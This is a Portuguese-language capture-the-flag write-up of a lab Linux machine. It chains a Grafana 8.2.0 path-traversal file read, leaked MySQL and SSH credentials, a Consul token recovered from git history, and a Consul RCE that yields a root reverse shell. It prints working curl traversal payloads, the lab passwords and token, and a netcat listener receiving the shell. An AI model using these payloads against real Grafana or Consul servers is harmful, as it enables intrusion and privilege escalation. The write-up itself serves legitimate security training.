Máquina Linux média onde exploramos uma falha de Arbitrary File Read presente no Grafana, o que posteriormente nos levou a credencial de um usuário para obter acesso ao alvo usando o serviço SSH. Por fim, exploramos um RCE presente no serviço consul após encontrar seu token exposto em um projeto git, de modo que pudemos escalar privilégios obtendo uma shell como root.
Reconhecimento de Rede
Verificando a conectividade via Ping
A primeira ação para reconhecimento do alvo é testar a conectividade com ele, utilizando o comando ping. Ao enviar um pacote ICMP, podemos confirmar se a máquina alvo está acessível na rede.
No retorno, o TTL de 63 é uma indicação de que possivelmente estamos lidando com um sistema Linux. O TTL inicial para sistemas Linux costuma ser 64, e o valor observado no ping geralmente é reduzido conforme os pacotes atravessam roteadores na rede. Como o TTL está próximo de 64, é provável que o sistema alvo seja uma máquina Linux.
> ping -c 1 10.10.11.183 PING10.10.11.183 (10.10.11.183): 56 data bytes64bytesfrom10.10.11.183:icmp_seq=0ttl=63time=432.689ms---10.10.11.183pingstatistics---1packetstransmitted,1packetsreceived,0%packetlossround-tripmin/avg/max/stddev=432.689/432.689/432.689/0.000ms
Varredura de Portas e Serviços
Em seguida, executei um escaneamento de porta no alvo para identificar quaisquer portas abertas que pudessem ser usadas para novos ataques. Usei a ferramenta nmap para verificar todas as portas (1-65535) no alvo.
A varredura revelou as portas abertas, portanto, ainda com o nmap, verifiquei quais versões de serviços estavam presentes nessas portas, bem como executei alguns scripts de enumeração padrão. Com isso, foram revelados os serviços SSH, MySQL e HTTP e suas respectivas versões.
Em seguida, procedi a enumerar os serviços HTTP usando a ferramenta whatweb para coletar informações sobre o software e a versão do servidor web. A saída mostra que na porta 80 um servidor web Apache/2.4.41 está rodando, enquanto a porta 3000 retornou um status de 302. Nada diferente do que obtemos com nmap anteriormente.
Acessando o servidor na porta 3000, vemos que o redirecionamento está sendo feito para um painel de login do Grafana, versão 8.2.0.
Iniciando a busca de possíveis vulnerabilidades presentes no Grafana usando a ferramenta searchsploit, vemos que há um bug de Directory Traversal e Arbitrary File Read presente na versão 8.3.0, portanto é possível que este bug também exista na versão anterior (8.2.0) que está rodando no nosso alvo.
Inspecionando o script com o comando searchsploit -x multiple/webapps/50581.py, podemos ver a PoC de como este bug é explorado. Ao enviar a requisição da PoC para o alvo usando curl, vemos que o servidor é vulnerável, assim podemos ver os arquivos do alvo arbitrariamente.
> curl -s --path-as-is -X GET 'http://10.10.11.183:3000/public/plugins/welcome/../../../../../../../../../../../../../etc/passwd' | tee passwd.txt
root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologinwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologinbackup:x:34:34:backup:/var/backups:/usr/sbin/nologinlist:x:38:38:MailingListManager:/var/list:/usr/sbin/nologinirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologingnats:x:41:41:GnatsBug-ReportingSystem (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologinsystemd-network:x:100:102:systemdNetworkManagement,,,:/run/systemd:/usr/sbin/nologinsystemd-resolve:x:101:103:systemdResolver,,,:/run/systemd:/usr/sbin/nologinsystemd-timesync:x:102:104:systemdTimeSynchronization,,,:/run/systemd:/usr/sbin/nologinmessagebus:x:103:106::/nonexistent:/usr/sbin/nologinsyslog:x:104:110::/home/syslog:/usr/sbin/nologin_apt:x:105:65534::/nonexistent:/usr/sbin/nologintss:x:106:111:TPMsoftwarestack,,,:/var/lib/tpm:/bin/falseuuidd:x:107:112::/run/uuidd:/usr/sbin/nologintcpdump:x:108:113::/nonexistent:/usr/sbin/nologinlandscape:x:109:115::/var/lib/landscape:/usr/sbin/nologinpollinate:x:110:1::/var/cache/pollinate:/bin/falseusbmux:x:111:46:usbmuxdaemon,,,:/var/lib/usbmux:/usr/sbin/nologinsshd:x:112:65534::/run/sshd:/usr/sbin/nologinsystemd-coredump:x:999:999:systemdCoreDumper:/:/usr/sbin/nologindeveloper:x:1000:1000:developer:/home/developer:/bin/bashlxd:x:998:100::/var/snap/lxd/common/lxd:/bin/falsegrafana:x:113:118::/usr/share/grafana:/bin/falsemysql:x:114:119:MySQLServer,,,:/nonexistent:/bin/falseconsul:x:997:997::/home/consul:/bin/false
Salvando a saída do /etc/passwd do alvo, podemos filtrar os usuários nele que têm alguma shell, com isso vemos a presença dos users root e developer.
Procurando informações sobre arquivos importantes do Grafana, há seu banco de dados "grafana.db", podemos então buscá-lo no diretório /var/lib/grafana.
> curl -s --path-as-is -X GET 'http://10.10.11.183:3000/public/plugins/welcome/../../../../../../../../../../../../../var/lib/grafana/grafana.db' | tee grafana.db
O arquivo existe no alvo e é um banco de dados SQL.
> file grafana.db grafana.db: SQLite 3.x database, last written using SQLite version 3035004, file counter 804, database pages 161, cookie 0x119, schema 4, UTF-8, version-valid-for 804
No Linux você pode usar a ferramenta sqlite3 para abrir o arquivo, mas como tenho a tendência de me organizar e fazer tudo no VSCode, estarei usando a extensão SQL Tools.
Ambas as ferramentas permitem que você visualize o grafana.db. Verificando as tabelas do banco de dados, em data_source encontramos uma credencial de um banco de dados.
Com SQL Tools podemos exportar essa informação em JSON para análise futura.
Como esta é uma credencial de banco de dados e temos a porta 3306 do serviço MySQL aberta, podemos então tentar acessá-la. A credencial é válida, portanto, podemos extrair o conteúdo deste banco de dados.
Chama atenção o banco de dados whackywidget por ser um nome muito diferente dos demais que aparentam ser algo mais convencional e padrão. Então vamos enumerá-lo.
> mysql -h 10.10.11.183-ugrafana -p'dontStandSoCloseToMe63221!'Welcome to the MariaDB monitor. Commands endwith ; or \g.Your MySQL connection id is109Serverversion: 8.0.30-0ubuntu0.20.04.2 (Ubuntu)Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.Type'help;'or'\h'for help. Type'\c'toclear the current input statement.MySQL [(none)]> show databases;+--------------------+| Database |+--------------------+| grafana || information_schema || mysql || performance_schema || sys || whackywidget |+--------------------+6rowsinset (0.173 sec)MySQL [(none)]>use whackywidget;Reading table information for completion of tableand column namesYou can turn off this feature toget a quicker startup with-ADatabase changed
MySQL [whackywidget]> show tables;+------------------------+| Tables_in_whackywidget |+------------------------+| users |+------------------------+1rowinset (0.171 sec)
MySQL [whackywidget]> describe users;+-------+--------------+------+-----+---------+-------+| Field | Type | Null | Key | Default | Extra |+-------+--------------+------+-----+---------+-------+| user | varchar(255) | YES | | NULL | || pass | varchar(255) | YES | | NULL | |+-------+--------------+------+-----+---------+-------+2rowsinset (0.179 sec)
MySQL [whackywidget]>select user,pass from users;+-----------+------------------------------------------+| user | pass |+-----------+------------------------------------------+| developer | YW5FbmdsaXNoTWFuSW5OZXdZb3JrMDI3NDY4Cg== |+-----------+------------------------------------------+1rowinset (0.175 sec)
Gaining Access
Assim, no banco de dados wackywidget temos a presença do user developer com uma senha aparentemente codificada com base64. Então podemos decodificar a senha e vê-la em texto simples.
Como o serviço SSH está presente na porta 22 do alvo e vimos anteriormente que nele há um user developer com shell, podemos verificar se esta credencial está sendo reutilizada para acesso via SSH.
Nele há um .git, então podemos visualizar o histórico de seus logs. O primeiro log possui a descrição tidy config script, que representa alguma "correção" que foi feita no script de configuração, e isto chama a atenção.
Visualizando este log, vemos um token da ferramenta consul sendo removido. Potencialmente se trata de um token que sem querer estava exposto no repositório e mais tarde, quando se deram conta, foi removido.
developer@ambassador:/opt/my-app$gitshow33a53ef9a207976d5ceceddc41a199558843bf3ccommit33a53ef9a207976d5ceceddc41a199558843bf3c (HEAD ->main)Author:Developer<developer@ambassador.local>Date:SunMar1323:47:362022+0000tidyconfigscriptdiff--gita/whackywidget/put-config-in-consul.shb/whackywidget/put-config-in-consul.shindex35c08f6..fc51ec0100755---a/whackywidget/put-config-in-consul.sh+++b/whackywidget/put-config-in-consul.sh@@-1,4+1,4@@# We use Consul for application config in production, this script will help set the correct values for the app-#ExportMYSQL_PASSWORDbeforerunning+#ExportMYSQL_PASSWORDandCONSUL_HTTP_TOKENbeforerunning-consulkvput--tokenbb03b43b-1d81-d62b-24b5-39540ee469b5whackywidget/db/mysql_pw $MYSQL_PASSWORD+consulkvputwhackywidget/db/mysql_pw $MYSQL_PASSWORD
E esta ferramenta consul se faz presente no alvo. Portanto, podemos guardar este token pois o mesmo pode ser válido e útil posteriormente.
developer@ambassador:~$consulversionConsulv1.13.2Revision0e046bbbBuildDate2022-09-20T20:30:07ZProtocol 2 spoken by default, understands 2 to 3 (agent will automatically use protocol >2 when speaking to compatible agents)
what is consul?
Consul is a service networking solution to automate network configurations, discover services, and enable secure connectivity across any cloud or runtime.
what is consul default port?
Após buscar o que é consul e suas portas padrões, com netstat podemos ver que aparentemente ele está em execução no alvo.
Procurando no searchsploit por alguma vulnerabilidade relacionada ao consul, vemos que existe um RCE, no entanto o script foi projetado para funcionar com Metasploit.
> searchsploit consul --------------------------------------------------------------------------------------------------------------ExploitTitle|Path--------------------------------------------------------------------------------------------------------------HashicorpConsul-RemoteCommandExecutionviaRexec (Metasploit) |linux/remote/46073.rbHashicorpConsul-RemoteCommandExecutionviaServicesAPI (Metasploit) |linux/remote/46074.rbHassanConsultingShoppingCart1.18-DirectoryTraversal|cgi/remote/20281.txtHassanConsultingShoppingCart1.23-ArbitraryCommandExecution|cgi/remote/21104.plPHPLeague0.81-'/consult/miniseul.php?cheminmini'RemoteFileInclusion|php/webapps/28864.txt------------------------------------------------------------------------------------------------------
Sendo assim, comecei a procurar por scripts existentes no GitHub como alternativa. Então, encontrei o script abaixo.
Podemos copiar o raw do script Python presente no repositório e colá-lo no alvo.
Analisando como o script funciona, basicamente temos que passar o IP e uma porta de nossa máquina atacante para receber uma reverse shell privilegiada. Também deve ser indicado um token do consul, e como anteriormente vimos um token nos logs do git, vamos testar com ele para ver se funciona.
Ao executar o script, nos colocando em escuta com netcat na nossa máquina atacante, o RCE será explorado e assim receberemos uma reverse shell como root.
> nc -nlvp 443listeningon [any] 443 ...connectto [10.10.14.22] from (UNKNOWN) [10.10.11.183] 37746bash:cannotsetterminalprocessgroup (37785): Inappropriate ioctl for devicebash:nojobcontrolinthisshellroot@ambassador:/#hostname-Ihostname-I10.10.11.183dead:beef::250:56ff:feb9:e54f
Então basta ler a flag root.txt no diretório /root para concluir o objetivo do CTF.